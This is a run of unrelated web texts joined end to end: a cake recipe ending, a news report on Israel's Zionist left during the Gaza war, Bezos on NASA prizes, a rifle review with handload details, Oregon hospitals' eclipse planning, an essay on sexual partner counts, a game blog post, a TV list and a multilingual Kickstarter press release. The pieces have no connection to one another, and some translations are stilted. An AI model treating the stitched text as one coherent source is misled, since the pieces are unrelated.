minute or two until it is well mixed into the butter. Turn your mixer off and pour in half of the icing sugar, on a low speed start to mix it in. When its fully combined repeat with the remaining icing sugar. Add in the cream cheese and beat on a medium speed for a minute until it is well mixed in. Your cake is now ready to decorate. Put half of your frosting on top of one of your cakes and gently spread it out over the sponge but keep it a few centimetres from the edges and then sandwich it together with the other half. Then place the remaining frosting on the top of the cakes and gently work in over the top and down the side of the sponges until everything is fully covered. If using sprinkle your peanut butter chips or chocolate chips over the top. Slice and serve. Kept in an airtight tin in cool temperatures this cake will last 4 days. Tried this recipe? Mention @BakeThenEat or tag #BakeThenEat Share this recipe Mention @BakeThenEat or tag #BakeThenEat Do you want to join in on the peanut butter bash fun? If so, email Miranda and request to join the Peanut Butter Bash facebook group! The first Thursday of each month we post a dessert with peanut butter and a mystery ingredient. There is also a Facebook group if you want to join in the fun but don’t run your own blog The Peanut Butter Recipe Box. Here are the other peanut butter and Banana creations! -In Israel, open discourse and dissent appear to be among the casualties of the monthlong war in Gaza, according to stalwarts of what is known as the Zionist left — Israelis who want the country to end its occupation of the West Bank and Gaza and help create a sovereign Palestinian state. Israeli politics have been drifting rightward for years, and many see that trend sharpening and solidifying now. Several polls find that as many as nine out of 10 Israeli Jews back the prosecution of the war by Prime Minister Benjamin Netanyahu. When that support slipped a bit last week, it seemed to be because more people wanted an even more aggressive assault on Hamas, the militant Islamist faction that dominates Gaza. Israelis who question the government or the military on Facebook, or who even share photographs of death and devastation in Gaza, find themselves defriended, often by people they thought were politically like-minded. “One of the victims of war is any nuance,” said Rabbi Levi Weiman-Kelman, who emigrated from New York in 1979. “The idea of having a nuanced position that recognizes the suffering on both sides and the complications is almost impossible to maintain.” Rabbi Weiman-Kelman is the founder of Kol Haneshama, one of Israel’s largest and best-known Reform congregations, where every service ends with an adaptation of a traditional Hebrew prayer for peace that includes a line in Arabic borrowed from a traditional Muslim prayer. (Disclosure: I have occasionally attended those services.) When Rabbi Weiman-Kelman recently circulated a petition condemning racist comments by a right-wing rabbi, a member of the synagogue’s board whose son was fighting in Gaza said the congregation should stay out of the matter and “focus on our boys,” he recalled. And during services Friday night, another leader of the congregation with lengthy leftist credentials stood up and said he no longer felt comfortable with a different prayer, which included a wish for “shalom” — peace — for “all who dwell on earth.” “The man said, ‘There really are bad people out there who I don’t wish shalom,’ ” the rabbi recounted. “It was a devastating moment.” -WASHINGTON — As commercial spaceflight company Blue Origin prepares for another suborbital test fight, company founder Jeff Bezos said he thinks the next administration should assign NASA a mix of large-scale prizes and technology development programs. Bezos, in an on-stage interview as part of the John H. Glenn Lecture in Space History at the National Air and Space Museum here, offered his views when asked what he would do if the next president called him and asked for space policy advice. "I think big prizes would be an interesting thing to do," he said. NASA has run a prize program, called Centennial Challenges, for a decade, offering prizes of up to several million dollars for aviation and space technology achievements. Bezos, though, believes NASA should go after something bigger, such as a prize for a Mars sample return mission. "One thing that the government could do is just offer a very large prize to whoever first brings back some Mars samples," he said. "It would be very interesting. That kind of horserace would create lots of attention. People would compete for it." Bezos didn't offer an estimate of how large the prize should be for a Mars sample return competition. NASA is currently working on the first element of its own sample return effort, the Mars 2020 rover, to collect samples. That mission has an estimated cost of $1.5 billion. Later missions are proposed to launch the samples into Martian orbit and return them to Earth, but NASA has not disclosed a schedule or cost for them. In conjunction with large prizes, Bezos suggested NASA also pursue ambitious technology development efforts. "I would also advise that NASA needs to go after gigantic, hard technology goals," he said, that would be too difficult for private industry to do on its own. Examples he gave were in-space nuclear reactors and hypersonic passenger aviation. "I think prizes and then really hard technology programs" are what NASA should pursue, he concluded. Bezos didn't weigh in on a particular destination for NASA human spaceflight efforts, but the other guest speaker at the lecture, Apollo 11 astronaut Michael Collins, did. "To me, the focus should be on Mars," he said. Collins said his views contrasted with those held by the late Neil Armstrong, who had advocated for a return the moon prior to going to Mars. "I disagree with that. I think we ought to just go," he said. "I used to joke that NASA should be renamed NAMA — the National Aeronautics and Mars Administration — and I would still to some extent like to see that." Bezos didn't object to someone, be it NASA or a private venture, sending humans to Mars, although he thought it would be more for the achievement of doing so rather than any science crewed missions there might do. "I don't think you can justify sending men to Mars for science reasons. I think we have reached a state where robots can do that task, probably better than people can," he said. Instead, he said people should go because it's "cool." "I hope somebody goes to Mars because I want to watch it. I think it would be glorious,"he said. Bezos' near-term space focus is on Blue Origin, the company he founded to develop reusable launch vehicles that promise to reduce the cost of space access. Bezos announced on Twitter June 13 that the company would perform another test flight of its New Shepard suborbital launch vehicle on June 17, which, for the first time, will be webcast live on the company's website. Bezos said Blue Origin, which now has about 700 employees, is on track to begin commercial New Shepard flights, carrying people, in 2018. "We'll fly our first test astronauts in late 2017, hopefully, if the test program continues to go well," he said. The company has not yet started to sell tickets for those flights. "We don't know yet what exactly we're going to charge," he said, but suggested Blue Origin would charge a price similar to Virgin Galactic, which is offering seats on its SpaceShipTwo suborbital vehicle for between $250,000 and $300,000 a person. "We're going to be in the same range, to start with, and then keep working over time to make it cheaper." Bezos has previously indicated he has invested at least $500 million of his own money into Blue Origin. At the event, Bezos said Blue Origin remains in "investment mode" and will eventually be profitable, but "it's going to take a long time." "It's for-profit," Bezos said of Blue Origin when asked if it was a for-profit or not-for-profit company, but stressed it is not yet profitable. "Well, it's not yet. That's an intention for the glorious future." Originally published on Space News. -Excellent accuracy! I got it from the FFL dealer 12/23/14 and when I got it home, measured the chamber with a Hornady C.O.A.L gauge. I reloaded 50 cartridges with IMR 7828 SSC, 80 gr. and seated the bullets so the length was 3.779" I mounted a Vortex Viper PST 6-24X50 with the MRAD reticle and 2 days later took it to the range. I started with 100 yards, and my 5th, 6th, and 7th shots were in a 1" bullseye, 2 going through the same hole. I switched to a 3" target at 100 yards and had a 3 shot group .5" just high and to the left, made the adjustments to center in the small bullseye and noticed the scope rings had loosened even using locktite, so I stopped. I've ordered Vortex's Precision Matched 30mm rings and am waiting to receive them. Once I remount the scope using the new rings, I'm going to zero it for 200 yards and post another review, but initially I'm VERY pleased! Oh, this is my 4th Savage rifle. I have a model 114 in 7mm magnum and can hit golf balls all day long at 100 yards. Dropped a large doe at 70 yards and she never even kicked because I shot the top of her heart off. -Time to stock up on the antidote for rattlesnake bites and boost blood supplies. More than 1 million visitors are expected to flood the state for the solar eclipse Aug. 21 and hospitals in its path are ramping up for the massive influx. For hospital systems from central Oregon to the coast, it will be all-hands on deck in the run-up and aftermath of the eclipse. Without a precedent, planners have turned for advice to their counterparts in Sturgis, a town in South Dakota that attracts about a half a million people for a yearly motorcycle rally in August. "One of the key things that we learned was that the need for acute care services oftentimes just mimics the increase in the population," said Dr. Jeff Absalon, executive vice president of St. Charles Health System in Bend. That means more patients with food poisoning, broken bones, strokes and heart attacks. It also means more emergency surgeries for traumatic injuries. Here's what's planned: CENTRAL OREGON St. Charles Health System, with hospitals and clinics in Bend, Redmond, Prineville and Madras, has an emergency plan for Aug. 16 to 23. It expects the local population to increase by 280,000, more than doubling. To meet the demand, the hospital system has canceled elective surgeries, such as hernia operations and joint replacements. It has limited time off and contracted to bring in nearly 60 traveling nurses. Administrators have also moved staff around, shifting doctors and nurses from nonclinical positions to the emergency room. The hospital system has stocked up on supplies, buying everything from extra gauze and saline solution to pharmaceuticals. It also received extra blood from the Red Cross in Portland, nearly doubling its supply. The Red Cross declined to provide any details about its contingency plans but said it would have the need for blood covered. St. Charles Health System also purchased extra antidote for rattlesnake bites. "It's a little tricky because it has a short shelf life, said Lisa Goodman, spokeswoman for the hospital system. Clinics in Bend, Redmond, Prineville and Madras will welcome walk-ins, with hours extended from 6 to 10 p.m. Madras, home to about 6,700 people, is expected to be ground zero. "It is largely considered to be the very best place in the country to watch the eclipse because of geography and weather patterns," Goodman said. Hospital staff expect a sixfold increase in patients in the Madras ER around the eclipse. The hospital will have five physicians, nurse practitioners or physician assistants on duty at the hospital instead of the usual three. But the hospital has only 25 beds. That means patients will have to be transported to other hospitals in the area or out of the region and the roads are expected to be clogged. Usually, two air ambulances serve the area. Two more will be added during the eclipse period, Absalon said. The Oregon Army National Guard also will make a Black Hawk helicopter available to transport patients. Administrators will open hospital parking lots to staff, allowing them to camp out in their recreational vehicles to be closer to work. Providers have urged pregnant women due around the eclipse to be prepared but the hospital isn't altering due dates by inducing labor or doing C-sections "There will be some instances where people may need to make alternate living arrangements," Absalon said. "We won't be delivering babies outside the standard time for delivery." SALEM AREA Salem Health administrators have been planning for a year for an expected 500,000 visitors to their vicinity. "We're expecting everything to be up by 25 percent," said Wayne McFarlin, emergency preparedness administrator for Salem Health, with hospitals in Salem and Dallas and clinics in Marion and Polk counties. The hospital system has increased supplies across-the-board, hired contract nurses, moved staff from nonclinical positions and shifted schedules to ensure that more physicians, physician assistants, nurse practitioners, nurses and technicians are available. "We've increased our emergency department and hospital staff," McFarlin said. "We've boosted nurses in every unit that has in-patients." In concrete terms, that means an extra 10 professionals in the ER, compared with 65 to 70 usually, to treat perhaps an extra 100 extra patients a day at Salem Hospital. Administrators will allow staff to sleep onsite if they choose. Salem Hospital has about 70 cots; half have been reserved so far. The hospital also has available floor space, if needed, for doctors and nurses to sleep over. Elective surgeries haven't been canceled but only about a third the usual number are booked because patients and providers have selected other dates, McFarlin said. On the Wednesday before the eclipse, Salem Hospital will set up three air-conditioned tents outside the ER to handle the demand. They will be used as triage centers and sobering stations. Patients will also be treated in the tents, as appropriate, and discharged. A command center will be set up in the hospital to track patients and to work with 11 other hospitals in the region. CORVALLIS TO THE COAST Samaritan Health Services has five hospitals -- in Corvallis, Newport, Albany, Lebanon and Lincoln City – and expects more patients at each. There could be 150,000 visitors on the coast and as many as 300,000 in the Willamette Valley. Administrators hope to shift demand to urgent care clinics when possible to save ERs for more complicated care. The hospital system is closing dozens of specialty clinics to move staff to 18 urgent and family care clinics from Sweet Home to Albany to Depoe Bay. From Friday through Monday, some of those clinics will have extended hours. Of the 18, 15 will be converted to walk-in clinics. Details are posted online. The hospital system has asked staff to work extra hours if possible. They'll be able to sleep overnight at the hospitals or camp in parking lots, provided there's space. Administrators are also hiring contract nurses. But with so many other hospitals in need of professionals, there's a limit to how many extra professionals they can hire on a temporary basis, said Joseph Hutchinson, director of emergency management, safety and security for Samaritan Health Services. "Would we like more? Absolutely," Hutchinson said. "Can we get more? No." Samaritan Health Services has canceled elective surgeries and bought more food, medications and other supplies. Like central Oregon, the area serving Samaritan Health facilities will have four air ambulances instead of the usual two and more medical transport vehicles on the ground. Providers have urged pregnant women to be prepared. But the hospital system has refused requests by women who want to deliver the day of the eclipse. "If a person is ready to deliver – they will deliver a baby," Hutchinson said. "We are not encouraging or accommodating anyone who wants to have a baby born on the eclipse." Emergency managers are stationing extra security guards at clinics and they're activating emergency communications, with satellite phones and a network of volunteer ham radio operators. Planners have tried to think of everything as if they were preparing for a major earthquake or disaster. "It's an invaluable exercise," Hutchinson said. "You can't get better training for emergency preparedness." -- Lynne Terry -Hugo Schwyzer explains why guys are so preoccupied with getting women’s sex stats—and why they should just let it go. Judging from what I read online and hear from my students, the question of the “number” is as compelling as ever. This month, Marie Claire ran an article, “What’s Your Number?” in which five women (whose numbers ranged from zero to 100) told their stories. The March issue of Cosmopolitan Australia features the same discussion, noting that 59 percent of readers surveyed thought knowing a partner’s exact number was important, and that 33 percent of those same readers had lied about their own pasts, claiming fewer sexual partners than they’d actually had. (A quick note: most people use “the number” to refer to the count of people with whom they’ve had heterosexual intercourse. Any kind of sex that doesn’t involve a penis inside a vagina usually “doesn’t count.” A lot of us are like Bill Clinton in that regard, not seeing oral sex as real sex. This is a very limited—and limiting—understanding of what sex really is. But that’s a topic for another day.) ♦◊♦ It’s understandable to be curious about the sexual lives of our peers. It makes sense to want to know what the averages are. (According to the experts at the Kinsey Institute, the average number of lifetime sexual partners for men aged 30 to 44 is around seven, while for women in that same age group, it’s four—both lower than you might think). Don’t like ads? Become a supporter and enjoy The Good Men Project ad free But the number has different meanings for men and women. The old double standard is still alive and well: a man with more sexual partners than his buddies may be teasingly called a “man whore,” but the epithet is a compliment, not an insult. Ask a woman who has dared reveal her number to someone who considers it too high, and she’ll surely tell you a story of being “slut-shamed.” It’s quite common for a guy to worry about a girlfriend’s sexual past. Too many men are still raised to see sex as crude competition, in which bedding a woman who has already had a lot of lovers counts less than scoring with a woman who is “hard to get.” But I think the average guy’s worry is simpler than that. The more men his girlfriend has slept with, the greater number of lovers to which she can compare his skills. It’s easier to win a contest against two than against 20, he figures. And even easier to rank first when he’s the only one to have ever played the game. No wonder so many men—in this country and around the world—are obsessed with finding a virgin. This is the real reason why so many men get so filled with rage at sexually experienced women. And of course, it’s the real reason so many women feel compelled to lie about their number. ♦◊♦ Too many women have told their boyfriends their real number, only to be nagged incessantly for explicit details. (One friend of mine recounted to me in horror how her current boyfriend stopped one day in the middle of giving her oral sex to ask how his technique compared.) Other women find that their boyfriends endlessly psychoanalyze the reasons for a number that they think is too high: “Did you sleep with so many men because your father left you when you were a child?” (If I had a dollar for every woman I know who’s been asked that question, I could buy everyone reading this a Slurpee. Seriously.) At this point, some men are probably protesting: “But I don’t slut-shame or endlessly analyze. For me, it’s not all about competing with other guys. Isn’t the number an important thing to know about someone you might be serious about? Isn’t it something I have a right to know?” That sounds reasonable. But again, why is it so important to know an exact number? What difference does it make? Knowing whether a potential girlfriend has ever been in love before is important; discovering (slowly and patiently) how her past experiences have impacted her view of men (for better or worse) is important. But really, what’s the difference whether she’s slept with four or 14 men? She isn’t defined by her number—and if there’s a chance you might change how you see her when you discover the truth (should she tell you), why ask? This has nothing to do, by the way, with asking about sexual health. It’s a great idea to talk about sexually transmitted infections; it’s a great idea for a new couple to get tested before having unprotected sex. We have a right to know if a potential partner has herpes. But the exact number itself is altogether different. ♦◊♦ I lost my virginity at 17 to my high-school girlfriend. She was a year younger but much more sexually experienced. She was my first for anything that went below the waist; I was the fifth guy she’d had sex with. I’d asked her number, of course, and then fought hard not to obsess about the four boys who had “been there” before me. But I saw the pain my questions caused her. And I came to realize that it didn’t matter. I don’t know my wife’s number. I’ve never asked her. She’s never asked for mine. I know enough from the stories she’s told to know that there was more than one guy before me; she knows enough about my past to figure out that she can’t count my lovers on her fingers. Beyond that, we—who have shared so much sexually and emotionally in our nine years as a couple, six years as spouses, and two years as parents together—don’t need to know more specifics. When we’re in a monogamous relationship, what we have a right to insist on is that no names get added to the list after our own. It doesn’t matter if I’m number five or 55. I’ll be crushed if my wife adds a number six or a 56 behind my back. Don’t like ads? Become a supporter and enjoy The Good Men Project ad free But the right to ask to be last is not the same as the right to know how far we are from the first. And for me, part of being a good man is knowing what I don’t need to know. ♦◊♦ Other Stories From the Good Men Project Magazine: ♦◊♦ ♦◊♦ ♦◊♦ ♦◊♦ ♦◊♦ ♦◊♦ ♦◊♦ Don’t like ads? Become a supporter and enjoy The Good Men Project ad free ♦◊♦ —Photo by eflon/Flickr Why Does It Matter How Many Partners She’s Had? -You drift towards a pastel island where everything sings as you pass. The sky begins to darken and something in the distance catches your eye… I’m Ed Key, one of the developers of Proteus along with composer David Kanaga. Proteus came out for the PC and Mac in January 2013 and had a fantastic reception from Edge, Eurogamer, IGN and many more. For something that started out as a weird experimental project between me and David, this was pretty mind-blowing, and it’s even crazier to now have the chance to bring it to PS3 and PS Vita with some brand new features that take advantage of Sony’s hardware. Proteus is something like a constantly-remixing ambient album in the form of an immersive island world. It’s all about a particular feeling of wandering through nature alone, taking it in and getting pleasantly lost. Maybe it’s a little bit about magic and mortality too. Don’t expect tasks and scores and checklists – perhaps Proteus lurks somewhere on the shady fringes of what it means to be a game. With the PS Vita and PS3 version we’ve been adding new ways to engage with – and remix – the world. Previously, all Proteus islands were purely random, but on PS Vita, you can now choose to generate an island based on your current geographical location and on both platforms you can generate an island for the current date. Both features have a chance of generating an especially “wild” island with various tweaks and twists. The island at my house, for example, has weird purple sea, green sky in the evening and some pleasant (but still very purple) inland lakes. We’ve also added a way for users to interact with the environment using the back touch screen, and we’ll be talking more about this closer to release. Curve Studios is doing a fantastic job bringing the game to PlayStation, adding a lot of love and polish along the way. Playing it hand-held on the Vita’s bright OLED screen is so nice, as is the experience of playing it a on big television through the PlayStation 3. We’ve had a very positive response to the PlayStation version from people I’ve shown it to, and I’m happy to quote a friend here and say that it’s the best version of Proteus there’s ever been! -5 TV Shows I Wish I Could Unsee Like everyone else, I’ve seen my share of television shows I disliked. Some simply weren’t my taste while others were objectively awful, and usually it’s not a big deal. No harm, no foul; I just move on to something else. Once in a while, though, a show hits me so wrong that it sticks with me, burrowing into my brain like an irritating bug until I want to scoop it out with a melon baller. Here are five such shows that I wish I could go back in time and unsee. [Warning: There are some spoilers in the following discussion] JOEY I loved Friends. I laughed (and occasionally cried) with them through ugly naked guy poking, the endless Ross-Rachel rollercoaster (I don’t care that you were on a break, Ross!) and God knows how many cups of coffee at Central Perk. When it was announced that Matt LeBlanc was spinning off Joey, I thought it had a chance since it had worked for Frasier when Cheers ended. Wishful thinking on my part; obviously, but I wasn’t quite ready to let go. A few episodes of Joey later, and I couldn’t run away fast enough. The show wasn’t funny and Joey was no longer loveable-just dumber, more deluded, and much more grating. I wished I hadn’t made the move to LA with him because it made me miss Friends even more. COUPLING (USA) As a fan of the original Coupling, I had to check out the American version despite, shall we say, less than stellar reviews. I ended up only watching two episodes, but that was more than enough (and it didn’t last much longer than that, anyway). Why were the jokes I had laughed at uproariously in the UK version suddenly so unfunny, and how is it possible that none of the actors had any chemistry? In an especially cruel trick, BBC America showed the UK version of the Coupling episode immediately after NBC aired its version. The difference in quality between the two was embarrassing and made me suspicious of any future American remakes. HOARDERS This one is my fault. I have clutter issues–I know this, and yet one night while flipping through the channels, I landed on a Hoarders marathon and couldn’t look away. This show is both disturbing and riveting on so many levels. While I squirmed at the disgusting “living” conditions with the piles upon piles of paper, trinkets, and garbage, the people destroyed me. This is a serious illness on display for everyone to gawk at as if it were a train wreck. I know I couldn’t look away. At least not until an episode involving animals came on and the sheer horror of that broke the spell. I had nightmares for a week, and I’ve never watched another episode, but I wish I could forget the ones I did see. VIVA LAUGHLIN I hadn’t seen Viva Blackpool, the British miniseries upon which Viva Laughlin was based, but Hugh Jackman in a musical murder mystery show? Come on! I thought it would be delicious. Instead it was bland, clichéd, almost incomprehensible, and flat-out terrible with some of the worst dialogue ever uttered. And don’t get me started on the not quite lip synching but not really singing, either. This show made Cop Rock look Emmy-worthy . PERSONS UNKNOWN Not only do I wish I could unsee Persons Unknown, I wish I could forget it ever existed. I originally thought it was a fascinating idea for a show-seven strangers wake up in a strange hotel in a deserted town with no idea how they got there. So many possibilities, and while the pilot was just okay, there was a tremendous amount of promise, so I created a season pass. Big mistake. Huge. It went steadily downhill after the pilot meandering down blind plot alleys and never quite settling on a tone with characters who became less interesting as the show wore on. I still stayed with it because I had to know how it would end, and NBC promised we would get answers. Ha! Persons Unknown spun its rusty wheels, looping back and forth and creating giant plot holes in the process, until the finale when we got–nothing. We still didn’t know what the “Program” was and the characters we had hoped would escape were once again stuck. Sure, some of them had made it to level two in the middle of the ocean, but I didn’t spend thirteen hours to find out the whole show was just a video game. Most maddening finale I have ever seen. Worse, I had to listen to my husband complain about “that God awful show you made me watch” for a month and he still brings it up if I suggest a new show. “It’s not going to be like that terrible Persons Unknown, is it?” Sigh. If I had Hermione’s time turner, those are the shows I would go back and unsee. What about you? Are there any shows that you wish you could erase from your memory? Let me know in the comments. -About Scroll down to just below the last Stretch-Goals to PLAY The Selfie Board Game NOW! You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 PRESS RELEASE (scroll down for additional languages) Press Release (Version 1): At 10am EST USA on 6th January 2016 (2am 7th January Australia), The Selfie Board Game will go live on Kickstarter (https://goo.gl/bMnwkG) Launched by Aussie toy and game designer/manufacturer Ken Howard, this is your chance to catch the vision of this exciting new game and genre. People will be able to pledge support for the game, in return for STARRING IN THE GAME plus ordering first copies. The object of The Selfie Board Game, is simply, to describe someone's appearance JUST from the sound of their voice BEFORE their selfie is revealed. This is a game for the whole world, for every language, every culture and every race, so that The Selfie Board Game builds these bridges internationally. The game headquarters will be based in Philadelphia, USA. Kickstarter link: https://goo.gl/bMnwkG Or go to Kickstarter and search for The Selfie Board Game to pledge / order your copy or to preview the game. Our Facebook page is: https://www.facebook.com/SelfieBoardGame Our Web Page: www.TheSelfieBoardGame.com Press Release (Version 2): Australian Ken Howard, in partnership with American Mark Mercer, launched Ken’s Selfie Board Game on Kickstarter on the 6th January. The game aims to address issues of race and colour from an angle that has not been addressed before. Namely from our voices. Ken, who develops toys and games for clients all over the world, knows firsthand, the reaction to his Aussie accent in other countries. Having lived in Europe, Africa and the USA, he has come to appreciate his friends from all over the world. Ken says he sees ‘features’ not colour. In fact, Ken’s mission is to do away with the ‘colour’ word altogether. He argues that if you went to a paint store after something BLUISH for your bedroom, you’d go to the blue swatch which ranges from dark and royal blue down to pale, almost, white blue. He contends it is the same with human skin. We humans are in the brown range and therefore TONE should be used as a reference instead of colour. He jokes being Australian that he is in fact pink, getting burnt easily from the sunny weather down under. He addresses these issues in his new game, called The Selfie Board Game, where the object is to describe someone’s appearance, just from the sound of their voice, before their selfie is revealed. Using only your voice, which will be uploaded into an App, this VOICIE, as he calls it, tells a lot about you and who you are. From your gender to the language that you speak, to your accent, which can even lead you to guessing someone’s eye colour. Howard makes some valid arguments in his thesis-like presentation where he has an Essay on Heritage as well as going into the linguistics of language. He certainly has done a lot of research and gone into great detail for the game. He says he is using Crowd Funding as a means to quickly ‘get’ the voicies and selfies he needs for the game. In short, it is a unique take on ‘Guess Who’ and with the inclusion of an App. He hopes this social media board game will evolve into its own product range including music, a toy hover car and even a TV game show. His experience in developing thousands of toys and games over the years, certainly puts this Aussie in the can-do bracket. We wish him all the best. Just search for The Selfie Board Game on Kickstarter.com is you wish to secure an EARLY copy of the game. Press Release (Version 3): Do you ever listen to the radio and wonder just what does that person look like? We all do it and make mental images of the person on the other end of the microphone. Australian Toy and Game Manufacturer Ken Howard, in partnership with Mark Mercer of Philadelphia USA, are launching Ken’s new Selfie Board Game on Kickstarter, a game which addresses this exact issue. Ken says that in his travels all over the world, he was always fascinated meeting new clients he has only spoken to on the phone. He said that, in listening more, he honed in on what he thought the person would look like when he met them in person. He said being a designer, he has always noticed features and sounds first. and has taken this to a level not thought of before in his new game. Mary Couzin, owner of Discovery Games and the Chicago Toy and Game Fair commented: “Wow you wrote a thesis”, referring to his Kickstarter page after being shown a preview. In fact, former Vice President of Hasbro, Mike Hirtle, even lent Ken his “voicie” and “selfie” for the game which you can actually play within the Kickstarter web site. I am sure you will be surprised what you can learn about someone’s voice. I certainly was, in reading Ken’s Essay on the subject of linguistics on the site. It honestly looks like a hit with his new social media board game. Check it out on Kickstarter, search for The Selfie Board Game. Press Release Um 10 Uhr EST USA am 6. Januar 2016 wird die Selfie Brettspiel live auf Kickstarter (https://goo.gl/bMnwkG) gehen Durch Aussie Spielzeug und Spieldesigner Ken Howard ins Leben gerufen , ist dies Ihre Chance, die Vision von diesem aufregenden neuen Spiel und Genre zu fangen. Die Menschen werden in der Lage, Unterstützung für das Spiel für immer erste und frühe Kopien verpflichten , im Gegenzug . Die Aufgabe der Selfie Brettspiel, ist einfach , um jemandes Aussehen gerade aus dem Klang ihrer Stimme zu beschreiben , BEVOR ihre selfie wird enthüllt. Dies ist ein Spiel für die ganze Welt , für jede Sprache , jeder Kultur und jeder Rasse , so dass die Selfie Brettspiel baut Brücken international . Die Spiel Hauptsitz in Philadelphia, USA basieren. Gehen Sie zu Kickstarter und die Suche nach der Selfie Brettspiel zu verpfänden / bestellen Sie Ihre Kopie oder , um das Spiel Comunicato Stampa Alle ore 10 EST USA il 6 gennaio 2016, il Selfie Gioco di società andrà in diretta su Kickstarter (https://goo.gl/bMnwkG) Lanciato da giocattolo Aussie e game designer Ken Howard , questa è la tua possibilità di prendere visione di questo nuovo ed entusiasmante gioco e il genere . Le persone saranno in grado di impegnarsi il supporto per il gioco , in cambio di ottenere prime e prime copie . L'oggetto del Selfie Gioco di società, è semplicemente , per descrivere l'aspetto di qualcuno solo dal suono della loro voce prima che i loro selfie è rivelato. Questo è un gioco per tutto il mondo , per ogni lingua , ogni cultura e ogni razza , in modo che il Selfie Board Game costruisce ponti a livello internazionale . La sede di gioco sarà basato a Filadelfia , Stati Uniti d'America . Vai a Kickstarter e cercare Il Selfie Board Game di pegno / ordinare la propria copia o per visualizzare in anteprima il Communiqué de presse À 10h HNE USA le 6 Janvier 2016, Le Jeu de société Selfie ira en direct sur Kickstarter (https://goo.gl/bMnwkG) Lancé par jouet Aussie et game designer Ken Howard , ceci est votre chance d'attraper la vision de ce nouveau jeu passionnant et le genre. Les gens vont être en mesure d' engager à soutenir le jeu , en échange de l'obtention premières et au début des copies . L'objet de la planche de jeu Selfie , est tout simplement , pour décrire l'apparence de quelqu'un seulement du son de leur voix avant leur selfie est révélé. Ceci est un jeu pour le monde entier , pour chaque langue , chaque culture et chaque course , de sorte que le plateau de jeu Selfie construit des ponts à l'échelle internationale . Le siège social de jeu sera basé à Philadelphie , USA . Aller à Kickstarter et de recherche pour Le Jeu de société Selfie à gage / commander votre copie ou de prévisualiser le jeu . שעת 10 בבוקר EST ארה"ב ב -6 בינואר 2016,על הדיוקנים העצמיים לוח המשחק ילך בשידור חי ב Kickstarter (https://goo.gl/bMnwkG) הושקה על ידי צעצוע אוסיומעצב משחק קן הווארד , זו ההזדמנות שלך כדי לתפוס את החזון של המשחק הזה מרגש החדשוז'אנר . אנשים יוכלו לשעבד תמיכה במשחק , בתמורה לקבלת עותקים הראשוניםומוקדמים . האובייקט שלהדיוקנים העצמיים לוח המשחק , הוא פשוט , כדי לתאר את ההופעה של מישהו רקמהקול שלהםלפני שהדיוקנים העצמיים שלהם מתגלים . זהו משחק לכל העולם ,לכל שפה , בכל תרבות ובכל גזע , כךשעל הדיוקנים העצמיים לוח המשחק בונה גשרים בינלאומיים . המטה המשחק יהיה מבוסס בפילדלפיה , ארה"ב . עבור לKickstarterולחפש אתהדיוקן העצמי לוח המשחק לשעבד / להזמין העותק שלך או לצפות בתצוגה מקדימה של המשחק . في 10:00 EST الولايات المتحدة الأمريكية في يناير 6th عام 2016، فإن لعبة Selfie المجلس يذهب ويعيش على Kickstarter (https://goo.gl/bMnwkG) التي أطلقتها لعبة الاسترالي و مصمم لعبة كين هوارد ، هذه هي فرصتك للقبض على رؤية هذه اللعبة الجديدة والمثيرة والنوع . والناس سوف تكون قادرة على التعهد بتقديم الدعم للعبة، في مقابل الحصول على نسخ الأولى و المبكرة. والهدف من اللعبة Selfie المجلس ، هو ببساطة ، لوصف مظهر شخص ما فقط من صوت صوتهم قبل كشف selfie بهم. هذه هي لعبة للعالم كله، و لكل لغة ، كل ثقافة وكل عرق ، بحيث لعبة Selfie مجلس يبني الجسور دوليا . سيتم بناء مقر لعبة في فيلادلفيا ، الولايات المتحدة الأمريكية . الذهاب إلى كيك ستارتر والبحث عن لعبة Selfie المجلس نتعهد / طلب نسختك أو لمعاينة اللعبة. Press Release: Sa 10:00 EST USA sa Enero 6, 2016 , Board Game Ang Selfie ay magiging live sa Kickstarter (https://goo.gl/bMnwkG) Inilunsad sa pamamagitan ng Aussie laruan at laro designer Ken Howard, ito ay ang iyong pagkakataon upang mahuli ang paningin ng kapana-panabik na bagong laro at genre. Ang mga tao ay maaaring makapag upang nangako ng suporta para sa mga laro, sa bumalik para sa pagkuha ng una at unang bahagi ng kopya. Ang object ng Board Game Ang Selfie , ay lamang, upang ilarawan ang hitsura ng isang tao JUST mula sa tunog ng kanilang mga boses BAGO kanilang selfie ay mahayag. Ito ay isang laro para sa buong mundo , para sa bawat wika, ang bawat kultura at sa bawat lahi, kaya na ang gagawa ng Board Game Ang Selfie tulay internationally. Ang punong-himpilan ng laro ay batay sa Philadelphia, USA. Pumunta sa Kickstarter at paghahanap para sa Board Game Ang Selfie upang isangla / order ang iyong kopya o para Tisková zpráva: V 10 hodin EST USA dne 6. ledna 2016 , bude Selfie Board Game jít žít na Kickstarter (https://goo.gl/bMnwkG) Zahájena Aussie hračky a herní designér Ken Howard , to je vaše šance chytit vizi této vzrušující nové hry a žánru. Lidé se budou moci přislíbit podporu pro hru , na oplátku pro získání první a časné kopie. Předmětem Selfie Board Game , je prostě , popsat něčí vzhled JUST od zvuku jejich hlasu před jejich selfie je odhaleno . To je hra pro celý svět , pro každý jazyk , každé kultuře a každém závodě , tak, aby se Selfie Board Game staví mosty v mezinárodním měřítku. Hra ústředí budou založeny ve Philadelphii , USA. Přejděte na Kickstarter a hledat Selfie Board Game do zástavy / objednejte si kopii , nebo zobrazit náhled hru. Пресс-релиз: В 10 утра EST США на 6 января 2016 г. Selfie Настольная игра пойдет в прямом эфире на Kickstarter (https://goo.gl/bMnwkG) Начатая австралийского игрушки и игровой дизайнер Кен Ховард , это ваш шанс , чтобы поймать видение этой захватывающей новой игры и жанра. Люди смогут закладывать поддержку для игры , в обмен на получение первого и ранние копии . Объект Selfie Настольная игра , это просто , чтобы описать чью-то внешность только от звука их голоса до их selfie раскрывается . Это игра для всего мира , для каждого языка , каждой культуре и каждой гонке , так что Selfie Настольная игра строит мосты на международном уровне. Игра штаб-квартира будет находиться в Филадельфии , США . Перейти к Kickstarter и поиск Selfie Настольная игра в залог / заказать копию или превью на игру . Op 10:00 EST VSA op 6 Januarie 2016 , sal die Selfie Board Game gaan woon op www.Kickstarter.com . Van stapel gestuur deur Aussie speelgoed en spel ontwerper Ken Howard , is dit jou kans om die visie van hierdie opwindende nuwe spel en genre te vang. Mense sal in staat wees om ondersteuning belowe vir die spel, in ruil vir die kry van die eerste en vroeë kopieë. Die doel van die Selfie Board Game , is eenvoudig , om iemand se voorkoms te beskryf net uit die klank van hul stem voor hul selfie geopenbaar word. Dit is 'n spel vir die hele wêreld , vir elke taal, elke 